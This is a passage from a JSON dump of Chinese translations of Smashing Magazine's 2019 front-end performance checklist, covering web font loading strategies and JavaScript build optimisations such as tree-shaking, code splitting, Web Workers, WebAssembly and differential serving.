Strategies](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/eb634666-55ab-4db3-aa40-4b146a859041/font-loading-strategies-opt.png)\n\nZach Leatherman 的[字体加载策略综合指南](https://www.zachleat.com/web/comprehensive-webfonts/)为 web 字体传输提供了十几种选择。\n\n#### 21. Web 字体优化过了么？\n\n值得提出的第一个问题就是，你是否可以[首选 UI 系统字体](https://www.smashingmagazine.com/2015/11/using-system-ui-fonts-practical-guide/)。如果不是上述情况，那你所提供的 Web 字体很有可能包括系统字体没有使用的字形或额外的特性或者字体粗细。你可以要求字体提供方将字体分组，或者如果你使用的是开源字体，你可以使用 [Glyphhanger](https://www.afasterweb.com/2018/03/09/subsetting-fonts-with-glyphhanger/) 或 [Fontsquirrel](https://www.fontsquirrel.com/tools/webfont-generator) 自行对它们进行子集化。你甚至可以使用 Peter Müller 的 [subfont](https://github.com/Munter/subfont#readme)，一个可以自动化你整个流程的命令行工具，它可以静态分析你的页面，生成最佳 Web 字体子集，然后注入页面中。\n\n[WOFF2 的支持性](http://caniuse.com/#search=woff2)是最好的，你可以使用 WOFF 作为不支持 WOFF2 的浏览器的备用选项 — 毕竟，系统字体对遗留的浏览器版本会更友好。Web 字体的加载有**很多，很多，很多**的选项。你可以从 Zach Leatherman 的 \"[字体加载策略综合指南](https://www.zachleat.com/web/comprehensive-webfonts/)\"中选择一种策略（代码片段也可以在 [Web 字体加载](https://github.com/zachleat/web-font-loading-recipes)中找到）。\n\n现在，更好的选项应该是[使用 Critical FOFT 结合 `preload`](https://www.zachleat.com/web/comprehensive-webfonts/#critical-foft-preload) 和 [\"The Compromise\" 方法](https://www.zachleat.com/web/the-compromise/)。它们都使用两阶段渲染来逐步提供 Web 字体 —— 首先是使用 Web 字体快速准确地渲染页面所需的小超集，然后再异步加载剩余部分，不同的是 \"The Compromise\" 技术只在[字体加载事件](https://www.igvita.com/2014/01/31/optimizing-web-font-rendering-performance/#font-load-events)不受支持的情况下才异步加载 polyfill，所以默认情况下不需要加载 polyfill。需要快速入门？Zach Leatherman 有一个 [快速入门的 23 分钟教程和案例研究](https://www.zachleat.com/web/23-minutes/)来帮助你使用字体。\n\n一般而言，使用 `preload` 资源提示来预加载字体是个好主意，但需要在你的标记中包含 CSS 和 JavaScript 的链接。否则，字体加载会在第一次渲染时消耗时间。尽管如此，[有选择性](https://youtu.be/FbguhX3n3Uc?t=1637)地选择重要文件是个好主意。比如，渲染至关重要的文件会有助于你避免可视化和具有破坏性的文本刷新文件。总之，Zach 建议**预加载每个系列的一到两个字体**。如果这些字体不是很关键的话，延迟加载一些字体也是有意义的。\n\n没有人喜欢等待内容的显示。使用 [`font-display` CSS 描述符](https://font-display.glitch.me/)，我们可以控制字体加载行为并使内容可被**立即**读取(`font-display: optional`)，或者几乎是**立即**被读(`font-display: swap`)。然而，如果你想[避免文本被重排](https://www.zachleat.com/web/font-display-reflow/)，我们仍然需要使用字体加载 API，尤其是 **group repaints**，或者当你使用第三方主机时。除非你可以 [用 Cloudflare workers 的 Google 字体](https://blog.cloudflare.com/fast-google-fonts-with-cloudflare-workers/)。讨论 Google 字体：考虑使用 [google-webfonts-helper](https://google-webfonts-helper.herokuapp.com/fonts)，这是一种轻松自我托管 Google 字体的方式。如果可以，那么[自行托管你的字体](https://speakerdeck.com/addyosmani/web-performance-made-easy?slide=55)会赋予你对字体最大程度的控制。\n\n一般而言，如果你选择 `font-display: optional`，那么就[需要放弃使用](https://www.zachleat.com/web/preload-font-display-optional/) `preload`，因为它会提前触发对 Web 字体的请求（如果你有其他需要获取的关键路径资源，就会导致网络阻塞）。`preconnect` 可以更快地获取跨域字体请求，但要谨慎使用 `preload`，因为来自不同域的预加载字体会导致网络竞争。所有这些技术都包含在 Zach 的 [Web 字体加载](https://github.com/zachleat/web-font-loading-recipes)。\n\n此外，如果用户在辅助功能首选项中启用了 [Reduce Motion](https://webkit.org/blog/7551/responsive-design-for-motion/) 或选择数据保护模式（详细内容可参阅 [`Save-Data` header](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/save-data/))，那么最好是选择不使用 Web 字体（至少是第二阶段的渲染中）。或者当用户碰巧链接速度较慢时（通过 [网络信息 API](https://developer.mozilla.org/en-US/docs/Web/API/Network_Information_API)）。\n\n要检测 Web 字体的加载性能，可以考虑使用[**所有文本可视化**](https://noti.st/zachleat/KNaZEg/the-five-whys-of-web-font-loading-performance#s5IYiho)的度量标准（字体加载的时，所有内容立即以 Web 字体显示），以及首次渲染后的 [**Web 字体重排计数**](https://noti.st/zachleat/KNaZEg/the-five-whys-of-web-font-loading-performance#sJw0KSc)。显然，这两种指标越低，性能越好。重要的是考虑到[变量](https://alistapart.com/blog/post/variable-fonts-for-responsive-design)[字体](https://www.smashingmagazine.com/2017/09/new-font-technologies-improve-web/)[对性能的需求](https://youtu.be/FbguhX3n3Uc?t=2161)。它们为设计师提供了更大的字体选择空间，代价是单个串行请求与许多单独的文件请求相反。这个单一的请求可能会缓慢地阻止页面上的整个排版外观。不过，好的一面是，在使用可变字体的情况下，默认情况下我们将得到一个重新的文件流，因此不需要 JavaScript 对重新绘制的内容进行分组。\n\n有没有一种完美的 Web 字体加载策略？ 子集字体为二阶段渲染做好准备，使用 `font-display` 描述符来声明它们，使用字体加载 API 对重新绘制的内容进行分组并将字体存储在持久化的 service worker 缓存中。如果有必要，你可以回到 Bram Stein 的 [Font Face Observer](https://github.com/bramstein/fontfaceobserver)。如果你有兴趣检测字体加载的性能，Andreas Marschke 研究了[使用 字体 API 和 UserTiming API 的性能](https://www.andreas-marschke.name/posts/2017/12/29/Fonts-API-UserTiming-Boomerang.html)。\n\n最后，不要忘记加入 [`unicode-range`](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/august/how-to-subset-fonts-with-unicode-range/)，将一个大字体分解成更小的特定语言字体，使用 Monica Dinculescu 的 [font-style-matcher](https://meowni.ca/font-style-matcher/) 来最小化布局上的不和谐变化，这是因为回退和 Web 字体之间的大小会产生不一致。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - **[译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)**\n> - [译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/front-end-performance-checklist-2019-pdf-pages-4.md",
    "content": "> * 原文地址：[Front-End Performance Checklist 2019 — 4](https://www.smashingmagazine.com/2019/01/front-end-performance-checklist-2019-pdf-pages/)\n> * 原文作者：[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)\n> * 译者：[Ivocin](https://github.com/Ivocin)\n> * 校对者：[ziyin feng](https://github.com/Fengziyin1234)，[weibinzhu](https://github.com/weibinzhu)\n\n# 2019 前端性能优化年度总结 — 第四部分\n\n让 2019 来得更迅速吧！你现在阅读的是 2019 年前端性能优化年度总结，始于 2016。\n\n> - [译] [2019 前端性能优化年度总结 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-1.md)\n> - [译] [2019 前端性能优化年度总结 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-2.md)\n> - [译] [2019 前端性能优化年度总结 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-3.md)\n> - **[译] [2019 前端性能优化年度总结 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-4.md)**\n> - [译] [2019 前端性能优化年度总结 — 第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-5.md)\n> - [译] [2019 前端性能优化年度总结 — 第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/front-end-performance-checklist-2019-pdf-pages-6.md)\n\n#### 目录\n\n- [构建优化](#构建优化)\n   - [22.确定优先级](#22-确定优先级)\n   - [23.重温优秀的“符合最低要求”技术](#23-重温优秀的符合最低要求技术)\n   - [24.解析 JavaScript 是耗时的，所以让它体积小](#24-解析-javascript-是耗时的所以让它体积小)\n   - [25.使用了摇树、作用域提升和代码分割吗](#25-使用了摇树作用域提升和代码分割吗)\n   - [26.可以将 JavaScript 切换到 Web Worker 中吗？](#26-可以将-javascript-切换到-web-worker-中吗)\n   - [27.可以将 JavaScript 切换到 WebAssembly 中吗？](#27-可以将-javascript-切换到-webassembly-中吗)\n   - [28.是否使用了 AOT 编译？](#28-是否使用了-aot-编译)\n   - [29.仅将遗留代码提供给旧版浏览器](#29-仅将遗留代码提供给旧版浏览器)\n   - [30.是否使用了 JavaScript 差异化服务？](#30-是否使用了-javascript-差异化服务)\n   - [31.通过增量解耦识别和重写遗留代码](#31-通过增量解耦识别和重写遗留代码)\n   - [32.识别并删除未使用的 CSS/JS](#32-识别并删除未使用的-cssjs)\n   - [33.减小 JavaScript 包的大小](#33-减小-javascript-包的大小)\n   - [34.是否使用了 JavaScript 代码块的预测预获取？](#34-是否使用了-javascript-代码块的预测预获取)\n   - [35.从针对你的目标 JavaScript 引擎进行优化中获得好处](#35-从针对你的目标-JavaScript-引擎进行优化中获得好处)\n   - [36.使用客户端渲染还是服务器端渲染？](#36-使用客户端渲染还是服务器端渲染)\n   - [37.约束第三方脚本的影响](#37-约束第三方脚本的影响)\n   - [38.设置 HTTP 缓存标头](#38-设置-http-缓存标头)\n\n### 构建优化\n\n#### 22. 确定优先级\n \n要了解你首先要处理什么。列出你全部的静态资源清单（JavaScript、图片、字体、第三方脚本以及页面上的大模块：如轮播图、复杂的信息图表和多媒体内容），并将它们分组。\n\n新建一个电子表格。定义旧版浏览器的基本**核心**体验（即完全可访问的核心内容）、现代浏览器的**增强**体验（即更加丰富的完整体验）以及**额外功能**（可以延迟加载的非必需的资源：例如网页字体、不必要的样式、轮播脚本、视频播放器、社交媒体按钮和大图片）。不久前，我们发表了一篇关于“[提升 Smashing 杂志网站性能](https://www.smashingmagazine.com/2014/09/improving-smashing-magazine-performance-case-study/)”的文章，文中详细描述了这种方法。\n\n在优化性能时，我们需要确定我们的优先事项。立即加载**核心体验**，然后加载**增强体验**，最后加载**额外功能**。\n\n#### 23. 重温优秀的“符合最低要求”技术\n\n如今，我们仍然可以使用[符合最低要求（cutting-the-mustard）技术](https://www.filamentgroup.com/lab/modernizing-delivery.html) 将核心体验发送到旧版浏览器，并为现代浏览器提供增强体验。（译者注：关于 cutting-the-mustard 出处可以参考[这篇文章](http://responsivenews.co.uk/post/18948466399/cutting-the-mustard)。）[该技术的一个更新版本](https://snugug.com/musings/modern-cutting-the-mustard/)将使用 ES2015 + 语法 `<script type=\"module\">`。现代浏览器会将脚本解释为 JavaScript 模块并按预期运行它，而旧版浏览器无法识别该属性并忽略它，因为它是未知的 HTML 语法。\n\n现在我们需要谨记的是，单独的功能检测不足以做出该发送哪些资源到该浏览器的明智决定。就其本身而言，**符合最低要求** 从浏览器版本中推断出设备的能力，今天已经不再有效了。\n\n例如，发展中国家的廉价 Android 手机主要使用 Chrome 浏览器，尽管设备的内存和 CPU 功能有限，但其仍然达到了使用符合最低要求技术的标准。最终，使用[设备内存客户端提示报头](https://github.com/w3c/device-memory)，我们将能够更可靠地定位低端设备。在本文写作时，仅在 Blink 中支持该报头（通常用于[客户端提示](https://caniuse.com/#search=client%20hints)）。由于设备内存还有[一个已在 Chrome 中提供](https://developers.google.com/web/updates/2017/12/device-memory)的 JavaScript API，因此基于该 API 进行功能检测是一个选择，并且只有在不支持时才会再来使用符合最低要求技术（**感谢 Yoav！**）。\n    \n#### 24. 解析 JavaScript 是耗时的，所以让它体积小 \n\n在处理单页面应用程序时，我们需要一些时间来初始化应用程序，然后才能渲染页面。你的设置需要你的自定义解决方案，但可以留意能够加快首次渲染的模块和技术。例如，[如何调试 React 性能](https://building.calibreapp.com/debugging-react-performance-with-react-16-and-chrome-devtools-c90698a522ad)、[消除常见的 React 性能问题](https://logrocket-blog.ghost.io/death-by-a-thousand-cuts-a-checklist-for-eliminating-common-react-performance-issues/)，以及[如何提高 Angular 的性能](https://www.youtube.com/watch?v=p9vT0W31ym8)。通常，大多数性能问题都来自启动应用程序的初始解析时间。\n\n[JavaScript 有一个解析的成本](https://youtu.be/_srJ7eHS3IM?t=9m33s)，但很少仅是由于文件大小一个因素影响性能。解析和执行时间根据设备的硬件的不同有很大差异。在普通电话（Moto G4）上，1MB（未压缩）JavaScript 的解析时间约为 1.3-1.4s，移动设备上有 15-20％ 的时间用于解析。在游戏中编译，仅仅在准备 JavaScript 就平均耗时 4 秒，在移动设备上首次有效绘制（First Meaningful Paint ）之前大约需要 11 秒。原因：在低端移动设备上，[解析和执行时间很容易高出 2-5 倍](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)。\n\n为了保证高性能，作为开发人员，我们需要找到编写和部署更少量 JavaScript 的方法。这就是为什么要详细检查每一个 JavaScript 依赖关系的原因。\n\n有许多工具可以帮助你做出有关依赖关系和可行替代方案影响的明智决策：\n\n*   [webpack-bundle-analyzer](https://www.npmjs.com/package/webpack-bundle-analyzer)\n*   [Source Map Explorer](https://github.com/danvk/source-map-explorer)\n*   [Bundle Buddy](https://github.com/samccone/bundle-buddy)\n*   [Bundlephobia](https://bundlephobia.com/)\n*   [Webpack size-plugin](https://github.com/GoogleChromeLabs/size-plugin)\n*   [Import Cost for Visual Code](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost)\n\n有一种有趣方法可以用来避免解析成本，它使用了 Ember 在 2017 年推出的[二进制模板](https://emberjs.com/blog/2017/10/10/glimmer-progress-report.html#toc_binary-templates)。使用该模板，Ember 用 JSON 解析代替 JavaScript 解析，这可能更快。（**感谢 Leonardo，Yoav!**）\n\n[衡量 JavaScript 解析和编译时间](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#7557)。我们可以使用综合测试工具和浏览器跟踪来跟踪解析时间，浏览器实现者正在谈论[将来把基于 RUM 的处理时间暴露出来](https://github.com/w3c/resource-timing/issues/133)。也可以考虑使用 Etsy 的 [DeviceTiming](https://github.com/danielmendel/DeviceTiming)，这是一个小工具，它允许你使用 JavaScript 在任何设备或浏览器上测量解析和执行时间。\n\n底线：虽然脚本的大小很重要，但它并不是一切。随着脚本大小的增长，解析和编译时间[不一定会线性增加](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)。\n    \n#### 25. 使用了摇树、作用域提升和代码分割吗\n\n[摇树（tree-shaking）](https://developers.google.com/web/fundamentals/performance/optimizing-javascript/tree-shaking/)是一种在 [webpack](http://www.2ality.com/2015/12/webpack-tree-shaking.html) 中清理构建过程的方法，它仅将实际生产环境使用的代码打包，并排除没有使用的导入模块。使用 webpack 和 rollup，还可以使用[作用域提升](https://medium.com/webpack/brief-introduction-to-scope-hoisting-in-webpack-8435084c171f)（scope hoisting），作用域提升使得 webpack 和 rollup 可以检测 `import` 链可以展开的位置，并将其转换为一个内联函数，并且不会影响代码。使用 webpack，我们也可以使用 [JSON Tree Shaking](https://react-etc.net/entry/json-tree-shaking-lands-in-webpack-4-0)。\n\n此外，你可能需要考虑学习如何[编写高效的 CSS 选择器](http://csswizardry.com/2011/09/writing-efficient-css-selectors/)，以及如何[避免臃肿且耗时的样式](https://benfrain.com/css-performance-revisited-selectors-bloat-expensive-styles/)。如果你希望更进一步，你还可以使用 webpack 来缩短 class 名，并使用作用域隔离在编译时[动态重命名 CSS class 名](https://medium.freecodecamp.org/reducing-css-bundle-size-70-by-cutting-the-class-names-and-using-scope-isolation-625440de600b)。\n\n[代码拆分（code-splitting）](https://webpack.js.org/guides/code-splitting/)是另一个 webpack 功能，它将你的代码库拆分为按需加载的“块”。并非所有的 JavaScript 都必须立即下载、解析和编译。在代码中定义分割点后，webpack 可以处理依赖项和输出文件。它能够保持较小体积的初始下载，并在应用程序请求时按需请求代码。Alexander Kondrov 有一个[使用 webpack 和 React 应用代码分割的精彩介绍](https://hackernoon.com/lessons-learned-code-splitting-with-webpack-and-react-f012a989113)。\n\n考虑使用 [preload-webpack-plugin](https://github.com/GoogleChromeLabs/preload-webpack-plugin)，它接受代码拆分的路由，然后提示浏览器使用 `<link rel=\"preload\">` 或 `<link rel=\"prefetch\">` 预加载它们。[Webpack 内联指令](https://webpack.js.org/guides/code-splitting/#prefetching-preloading-modules)还可以控制 `preload`/`prefetch`。\n\n在哪里定义分割点呢？通过跟踪代码查看使用了哪些 CSS/JavaScript 包，没有使用哪些包。Umar Hansa [解释了](https://vimeo.com/235431630#t=11m37s)如何使用 Devtools 的代码覆盖率工具来实现它。\n    \n如果你没有使用 webpack，请注意 [rollup](http://rollupjs.org/) 显示的结果明显优于 Browserify 导出。虽然我们参与其中，但你可能需要查看 [rollup-plugin-closure-compiler](https://github.com/ampproject/rollup-plugin-closure-compiler) 和 [rollupify](https://github.com/nolanlawson/rollupify)，它将 ECMAScript 2015 模块转换为一个大型 CommonJS 模块 —— 因为根据你的包和模块系统的选择，小模块可能会有[惊人高的成本](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。\n\n#### 26. 可以将 JavaScript 切换到 Web Worker 中吗？\n\n为了减少对首次可交互时间（Time-to-Interactive）的负面影响，考虑将高耗时的 JavaScript 放到 [Web Worker](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers) 或通过 Service Worker 来缓存。\n\n随着代码库的不断增长，UI 性能瓶颈将会出现，进而会降低用户的体验。主要[原因是 DOM 操作与主线程上的 JavaScript 一起运行](https://medium.com/google-developer-experts/running-fetch-in-a-web-worker-700dc33ac854)。通过 [web worker](https://flaviocopes.com/web-workers/)，我们可以将这些高耗时的操作移动到后台进程的另一线程上。Web worker 的典型用例是[预获取数据和渐进式 Web 应用程序](https://blog.sessionstack.com/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them-a547c0757f6a)，提前加载和存储一些数据，以便你在之后需要时使用它。而且你可以使用 [Comlink](https://github.com/GoogleChromeLabs/comlink) 简化主页面和 worker 之间的通信。仍然还有一些工作要做，但我们已经做了很多了。\n\n[Workerize](https://github.com/developit/workerize) 让你能够将模块移动到 Web Worker 中，自动将导出的函数映射为异步代理。如果你正在使用 webpack，你可以使用 [workerize-loader](https://github.com/developit/workerize-loader)。或者，也可以试试 [worker-plugin](https://github.com/GoogleChromeLabs/worker-plugin)。\n\n请注意，Web Worker 无权访问 DOM，因为 DOM 不是“线程安全的”，而且它们执行的代码需要包含在单独的文件中。\n\n#### 27. 可以将 JavaScript 切换到 WebAssembly 中吗？\n\n我们还可以将 JavaScript 转换为 [WebAssembly](https://webassembly.org/)，这是一种二进制指令格式，可以使用 C/C++/Rust 等高级语言进行编译。它的[浏览器支持非常出色](https://caniuse.com/#feat=wasm)，最近它变得可行了，因为 [JavaSript 和 WASM 之间的函数调用速度变得越来越快](https://hacks.mozilla.org/2018/10/calls-between-javascript-and-webassembly-are-finally-fast-%F0%9F%8E%89/)，至少在 Firefox 中是这样。\n\n在实际场景中，[JavaScript 似乎在较小的数组大小上比 WebAssembly 表现更好](https://medium.com/samsung-internet-dev/performance-testing-web-assembly-vs-javascript-e07506fd5875)，而 WebAssembly 在更大的数组大小上比 JavaScript 表现更好。对于大多数 Web 应用程序，JavaScript 更适合，而 WebAssembly 最适合用于计算密集型 Web 应用程序，例如 Web 游戏。但是，如果切换到 WebAssembly 能否获得显着的性能改进，则可能值得研究。\n\n如果你想了解有关 WebAssembly 的更多信息：\n\n*   Lin Clark 为 WebAssembly 撰写了一个[全面的系列文章](https://hacks.mozilla.org/2017/02/a-cartoon-intro-to-webassembly/)，Milica Mihajlija [概述了](https://blog.logrocket.com/webassembly-how-and-why-559b7f96cd71)如何在浏览器中运行原生代码、为什么要这样做、以及它对 JavaScript 和 Web 开发的未来意味着什么。\n\n*   Google Codelabs 提供了一份 [WebAssembly 简介](https://codelabs.developers.google.com/codelabs/web-assembly-intro/index.html)，这是一个 60 分钟的课程，你将学习如何使用原生代码 —— 使用 C 并将其编译为 WebAssembly，然后直接在 JavaScript 调用它。\n\n*   Alex Danilo 在他的 Google I/O 2017 演讲中[解释了 WebAssembly 及其工作原理](https://www.youtube.com/watch?v=6v4E6oksar0)。此外，Benedek Gagyi [分享了一个关于 WebAssembly 的实际案例研究](https://www.youtube.com/watch?v=l2DHjRmgAF8)，特别是团队如何将其用作 iOS、Android 和网站的 C++ 代码库的输出格式。\n\n[![WebAssembly 如何工作，以及它为什么有用的概述。](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bbb2ea83-7674-47d8-9cad-89a2de009915/how-webassembly-works.png)](https://blog.logrocket.com/webassembly-how-and-why-559b7f96cd71) \n\nMilica Mihajlija 提供了 [WebAssembly 的工作原理及其有用的原因](https://blog.logrocket.com/webassembly-how-and-why-559b7f96cd71)的概述。 ([预览大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/bbb2ea83-7674-47d8-9cad-89a2de009915/how-webassembly-works.png)）\n\n#### 28. 是否使用了 AOT 编译？\n\n使用 [AOT（ahead-of-time）编译器](https://www.lucidchart.com/techblog/2016/09/26/improving-angular-2-load-times/)将一些[客户端渲染](https://www.smashingmagazine.com/2016/03/server-side-rendering-react-node-express/)放到[服务器](http://redux.js.org/docs/recipes/ServerRendering.html)，从而快速输出可用结果。最后，考虑使用 [Optimize.js](https://github.com/nolanlawson/optimize-js) 来加速初始化加载时间，它包装了需要立即调用的函数（尽管现在[这可能不是必需](https://twitter.com/tverwaes/status/809788255243739136)的了）。\n\n![“默认快速：现代加载最佳实践”，作者 Addy Osmani](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/31237c37-d7db-4faa-9849-51657e122331/babel-preset-opt.png)\n\n来自[默认快速：现代加载最佳实践](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)，作者是独一无二的 Addy Osmani。幻灯片第 76 页。\n\n#### 29. 仅将遗留代码提供给旧版浏览器\n\n由于 ES2015 [在现代浏览器中得到了非常好的支持](http://kangax.github.io/compat-table/es6/)，我们可以[使用 `babel-preset-env`](http://2ality.com/2017/02/babel-preset-env.html) ，仅转义尚未被我们的目标浏览器支持的那些 ES2015 + 特性。然后[设置两个构建](https://gist.github.com/newyankeecodeshop/79f3e1348a09583faf62ed55b58d09d9)，一个在 ES6 中，一个在 ES5 中。如上所述，现在[所有主流浏览器都支持](https://caniuse.com/#feat=es6-module) JavaScript 模块，因此使用 [`script type =“module”`](https://developers.google.com/web/fundamentals/primers/modules) 让支持 ES 模块的浏览器加载支持 ES6 的文件，而旧浏览器可以使用 `script nomodule` 加载支持 ES5 的文件。我们可以使用 [Webpack ESNext Boilerplate](https://github.com/philipwalton/webpack-esnext-boilerplate) 自动完成整个过程。\n\n请注意，现在我们可以编写基于模块的 JavaScript，它可以原生地在浏览器里运行，无需编译器或打包工具。[`<link rel=\"modulepreload\">` header](https://developers.google.com/web/updates/2017/12/modulepreload) 提供了一种提前（和高优先级）加载模块脚本的方法。基本上，它能够很好地最大化使用带宽，通过告诉浏览器它需要获取什么，以便在这些长的往返期间不会卡顿。此外，Jake Archibald 发布了一篇详细的文章，其中包含了[需要牢记的 ES 模块相关内容](https://jakearchibald.com/2017/es-modules-in-browsers/)，值得一读。\n\n对于 lodash，[使用 `babel-plugin-lodash`](https://github.com/lodash/babel-plugin-lodash)，通过它可以只加载你在源代码中使用的模块。你的其他依赖也可能依赖于其他版本的 lodash，因此[将通用 lodash `requires` 转换为特定需要的功能](https://www.contentful.com/blog/2017/10/27/put-your-webpack-bundle-on-a-diet-part-3/)，以避免代码重复。这可能会为你节省相当多的 JavaScript 负载。\n\nShubham Kanodia 撰写了一份[详细的关于智能打包的低维护指南](https://www.smashingmagazine.com/2018/10/smart-bundling-legacy-code-browsers/)：如何在生产环境中实现仅仅将遗留代码推送到老版本浏览器上，里面还有一些你可以直接拿来用的代码片段。\n\n[![正如 Jake Archibald 的文章中所解释的那样，内联脚本会被推迟，直到正在阻塞的外部脚本和内联脚本得到执行。](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/d46ddc8b-4bd7-4627-b738-baf62807b26f/inline-scripts-deferred.png)](https://jakearchibald.com/2017/es-modules-in-browsers/) \n\nJake Archibald 发布了一篇详细的文章，其中包含了 [需要牢记的 ES 模块相关内容](https://jakearchibald.com/2017/es-modules-in-browsers/)，例如：内联脚本会被推迟，直到正在阻塞的外部脚本和内联脚本得到执行。（[预览大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/d46ddc8b-4bd7-4627-b738-baf62807b26f/inline-scripts-deferred.png)）\n\n#### 30. 是否使用了 JavaScript 差异化服务？\n\n我们希望通过网络发送必要的 JavaScript，但这意味着需要更加集中精力并且细粒度地关注这些静态资源的传送。前一阵子 Philip Walton 介绍了[差异化服务](https://philipwalton.com/articles/deploying-es2015-code-in-production-today/)的想法。该想法是编译和提供两个独立的 JavaScript 包：“常规”构建，带有 Babel-transforms 和 polyfill 的构建，只提供给实际需要它们的旧浏览器，以及另一个没有转换和 polyfill 的包（具有相同功能）。\n\n结果，通过减少浏览器需要处理的脚本数量来帮助减少主线程的阻塞。Jeremy Wagner 在 2019 年发布了一篇[关于差异服务以及如何在你的构建管道中进行设置的综合文章](https://calendar.perfplanet.com/2018/doing-differential-serving-in-2019/)，从设置 babel 到你需要在 webpack 中进行哪些调整，以及完成所有这些工作的好处。\n\n#### 31. 通过增量解耦识别和重写遗留代码\n\n老项目充斥着陈旧和过时的代码。重新查看你的依赖项，评估重构或重写最近导致问题的遗留代码所需的时间。当然，它始终是一项重大任务，但是一旦你了解了遗留代码的影响，就可以从[增量解耦](https://githubengineering.com/removing-jquery-from-github-frontend/)开始。\n\n首先，设置指标，跟踪遗留代码调用的比率是保持不变或是下降，而不是上升。公开阻止团队使用该库，并确保你的 CI 能够[警告](https://github.com/dgraham/eslint-plugin-jquery)开发人员，如果它在拉取请求（pull request）中使用。[Polyfill](https://githubengineering.com/removing-jquery-from-github-frontend/#polyfills) 可以帮助将遗留代码转换为使用标准浏览器功能的重写代码库。\n\n#### 32. 识别并删除未使用的 CSS/JS\n\n[Chrome 中的 CSS 和 JavaScript 代码覆盖率](https://developers.google.com/web/updates/2017/04/devtools-release-notes#coverage)可以让你了解哪些代码已执行/已应用，哪些代码尚未执行。你可以开始记录覆盖范围，在页面上执行操作，然后浏览代码覆盖率结果。一旦你检测到未使用的代码，[找到那些模块并使用 `import()` 延迟加载](https://twitter.com/TheLarkInn/status/1012429019063578624)（参见整个线程）。然后重复覆盖配置文件并验证它现在在初始加载时发送的代码是否变少了。\n\n你可以使用 [Puppeteer](https://github.com/GoogleChrome/puppeteer) 以[编程方式收集代码覆盖率](https://twitter.com/matijagrcic/statuses/1060863620568043520)，Canary 也能够让你[导出代码覆盖率结果](https://twitter.com/tkadlec/status/1073330247758684163)。正如 Andy Davies 提到的那样，你可能希望[同时收集现代和旧版浏览器](https://twitter.com/AndyDavies/status/1073339071106297856)的代码覆盖率。[Puppeteer 还有许多其他用例](https://github.com/GoogleChromeLabs/puppeteer-examples)，例如，[自动视差](https://meowni.ca/posts/2017-puppeteer-tests/)或[监视每个构建的未使用的 